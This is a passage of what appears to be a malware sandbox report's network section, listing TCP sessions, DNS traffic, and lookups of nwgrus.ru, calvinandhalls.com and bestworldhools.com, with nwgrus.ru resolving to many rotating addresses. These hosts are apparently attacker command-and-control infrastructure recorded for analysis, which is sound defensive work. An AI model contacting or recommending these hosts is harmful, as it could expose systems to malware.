Oct 7, 2024 15:01:05.021508932 CEST	50014	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:05.026261091 CEST	80	50014	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:05.026338100 CEST	80	50014	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:05.953011990 CEST	80	50014	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:05.953033924 CEST	80	50014	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:05.953099966 CEST	50014	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:05.953299046 CEST	50014	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:05.958043098 CEST	80	50014	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:14.433609009 CEST	50015	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:14.438883066 CEST	80	50015	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:14.438973904 CEST	50015	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:14.439160109 CEST	50015	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:14.439188004 CEST	50015	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:14.444154978 CEST	80	50015	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:14.444180965 CEST	80	50015	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:15.347242117 CEST	80	50015	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:15.348380089 CEST	80	50015	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:15.348447084 CEST	50015	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:15.348495960 CEST	50015	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:15.353316069 CEST	80	50015	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:26.156435013 CEST	50016	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:26.161427975 CEST	80	50016	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:26.161508083 CEST	50016	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:26.161711931 CEST	50016	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:26.161739111 CEST	50016	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:26.166595936 CEST	80	50016	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:26.166609049 CEST	80	50016	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:27.088217020 CEST	80	50016	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:27.089489937 CEST	80	50016	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:27.089586973 CEST	50016	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:27.090198994 CEST	50016	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:27.094984055 CEST	80	50016	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:31.340430021 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:31.340480089 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:31.340554953 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:31.340982914 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:31.340997934 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:31.989257097 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:31.989346027 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.046084881 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.046119928 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.046511889 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.047738075 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.047759056 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.047765970 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.309032917 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.309122086 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.309243917 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.311312914 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.311333895 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.311348915 CEST	50017	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.311355114 CEST	443	50017	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.339948893 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.340001106 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:32.340073109 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.340393066 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:32.340409994 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.045044899 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.045144081 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.046456099 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.046463966 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.046710014 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.047821045 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.047875881 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.047879934 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.325364113 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.325716019 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.325716972 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.325875998 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.325911045 CEST	443	50018	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:33.325939894 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:33.325965881 CEST	50018	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:44.403997898 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:44.408998013 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:44.409090996 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:44.417134047 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:44.417171001 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:44.421916962 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:44.422120094 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:46.179423094 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:46.179444075 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:46.179544926 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:46.179680109 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:46.179713964 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:46.179781914 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:46.180727959 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:46.180798054 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:46.181176901 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:46.181220055 CEST	50019	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:46.188357115 CEST	80	50019	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:54.292563915 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.292601109 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:54.292701006 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.293205023 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.293215036 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:54.994376898 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:54.994525909 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.996342897 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.996362925 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:54.996635914 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:54.998280048 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.998280048 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:54.998356104 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.268094063 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.268189907 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.268484116 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.268484116 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.268484116 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.282983065 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.283027887 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.283128023 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.283466101 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.283478022 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.758223057 CEST	50020	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:55.758233070 CEST	443	50020	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.922323942 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:55.922533989 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:56.204224110 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:56.204247952 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:56.204587936 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:56.212061882 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:56.212061882 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:56.212075949 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:56.460171938 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:56.460396051 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:56.460542917 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:56.460553885 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:56.460602999 CEST	443	50021	188.40.141.211	192.168.2.5
Oct 7, 2024 15:01:56.460648060 CEST	50021	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:06.903160095 CEST	50022	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:06.908070087 CEST	80	50022	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:06.908157110 CEST	50022	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:06.908350945 CEST	50022	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:06.908404112 CEST	50022	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:06.914069891 CEST	80	50022	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:06.914134979 CEST	80	50022	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:07.858335972 CEST	80	50022	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:07.859997988 CEST	80	50022	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:07.860198021 CEST	50022	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:07.860198021 CEST	50022	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:07.865235090 CEST	80	50022	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:16.093089104 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.093158007 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:16.093223095 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.093559027 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.093584061 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:16.717792988 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:16.717869997 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.719166994 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.719197989 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:16.719466925 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:16.720180988 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.720215082 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:16.720228910 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.024153948 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.024265051 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.024349928 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.024466991 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.024492025 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.024516106 CEST	50023	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.024523973 CEST	443	50023	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.061141968 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.061194897 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.061279058 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.061609030 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.061621904 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.690265894 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.690362930 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.692949057 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.692964077 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.693279982 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:17.696377039 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.696403027 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:17.696471930 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:18.001768112 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:18.001867056 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:18.001970053 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:18.002043962 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:18.002060890 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:18.002074003 CEST	50024	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:18.002079010 CEST	443	50024	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:28.921040058 CEST	50025	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:28.925982952 CEST	80	50025	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:28.926074982 CEST	50025	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:28.926256895 CEST	50025	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:28.926287889 CEST	50025	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:28.931164980 CEST	80	50025	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:28.931340933 CEST	80	50025	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:29.863377094 CEST	80	50025	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:29.863687992 CEST	80	50025	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:29.863734007 CEST	50025	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:29.864065886 CEST	50025	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:29.868839025 CEST	80	50025	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:38.573918104 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:38.573961973 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:38.574057102 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:38.574450016 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:38.574469090 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:39.762859106 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:39.762986898 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:39.764388084 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:39.764408112 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:39.764704943 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:39.765578985 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:39.765629053 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:39.765636921 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.046683073 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.046945095 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.046992064 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.047135115 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.047185898 CEST	443	50026	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.047199965 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.047245026 CEST	50026	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.132939100 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.133037090 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.133132935 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.133444071 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.133475065 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.757666111 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.757751942 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.759046078 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.759076118 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.759371996 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:40.760067940 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.760117054 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:40.760126114 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:41.069097996 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:41.069179058 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:41.069281101 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:41.069408894 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:41.069457054 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:41.069489002 CEST	50027	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:02:41.069505930 CEST	443	50027	188.40.141.211	192.168.2.5
Oct 7, 2024 15:02:49.995513916 CEST	50028	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:50.000469923 CEST	80	50028	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:50.000559092 CEST	50028	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:50.000724077 CEST	50028	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:50.000741959 CEST	50028	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:50.005556107 CEST	80	50028	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:50.005572081 CEST	80	50028	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:50.926397085 CEST	80	50028	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:50.926558971 CEST	80	50028	189.195.132.134	192.168.2.5
Oct 7, 2024 15:02:50.926728964 CEST	50028	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:50.929590940 CEST	50028	80	192.168.2.5	189.195.132.134
Oct 7, 2024 15:02:50.934519053 CEST	80	50028	189.195.132.134	192.168.2.5
Oct 7, 2024 15:03:01.935972929 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:01.936017990 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:01.936088085 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:01.936686039 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:01.936702013 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.553555965 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.553684950 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.554976940 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.554987907 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.555284023 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.556086063 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.556116104 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.556121111 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.864384890 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.864458084 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.864510059 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.864561081 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.864576101 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.864590883 CEST	50029	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.864597082 CEST	443	50029	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.905472040 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.905515909 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:02.905594110 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.905965090 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:02.905980110 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.519984007 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.520106077 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.521672964 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.521682978 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.521944046 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.522764921 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.522803068 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.522806883 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.824243069 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.824323893 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.824378967 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.824424982 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.824445963 CEST	443	50030	188.40.141.211	192.168.2.5
Oct 7, 2024 15:03:03.824461937 CEST	50030	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:03:03.824471951 CEST	443	50030	188.40.141.211	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 14:59:20.448164940 CEST	56304	53	192.168.2.5	1.1.1.1
Oct 7, 2024 14:59:21.439896107 CEST	56304	53	192.168.2.5	1.1.1.1
Oct 7, 2024 14:59:22.466022968 CEST	56304	53	192.168.2.5	1.1.1.1
Oct 7, 2024 14:59:22.772443056 CEST	53	56304	1.1.1.1	192.168.2.5
Oct 7, 2024 14:59:22.772464991 CEST	53	56304	1.1.1.1	192.168.2.5
Oct 7, 2024 14:59:22.772475004 CEST	53	56304	1.1.1.1	192.168.2.5
Oct 7, 2024 15:00:12.271975994 CEST	56264	53	192.168.2.5	1.1.1.1
Oct 7, 2024 15:00:13.284019947 CEST	56264	53	192.168.2.5	1.1.1.1
Oct 7, 2024 15:00:13.689789057 CEST	53	56264	1.1.1.1	192.168.2.5
Oct 7, 2024 15:00:13.689802885 CEST	53	56264	1.1.1.1	192.168.2.5
Oct 7, 2024 15:00:14.723191023 CEST	64176	53	192.168.2.5	1.1.1.1
Oct 7, 2024 15:00:15.154860020 CEST	53	64176	1.1.1.1	192.168.2.5
Oct 7, 2024 15:02:06.517864943 CEST	64150	53	192.168.2.5	1.1.1.1
Oct 7, 2024 15:02:06.879978895 CEST	53	64150	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 14:59:20.448164940 CEST	192.168.2.5	1.1.1.1	0x53f4	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:21.439896107 CEST	192.168.2.5	1.1.1.1	0x53f4	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.466022968 CEST	192.168.2.5	1.1.1.1	0x53f4	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:00:12.271975994 CEST	192.168.2.5	1.1.1.1	0xb5b1	Standard query (0)	calvinandhalls.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:00:13.284019947 CEST	192.168.2.5	1.1.1.1	0xb5b1	Standard query (0)	calvinandhalls.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:00:14.723191023 CEST	192.168.2.5	1.1.1.1	0x7d20	Standard query (0)	bestworldhools.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.517864943 CEST	192.168.2.5	1.1.1.1	0x5189	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	105.197.97.247	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	190.147.2.86	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	119.204.11.2	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	190.220.21.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	185.12.79.25	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	148.230.249.9	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	93.118.137.82	A (IP address)	IN (0x0001)	false
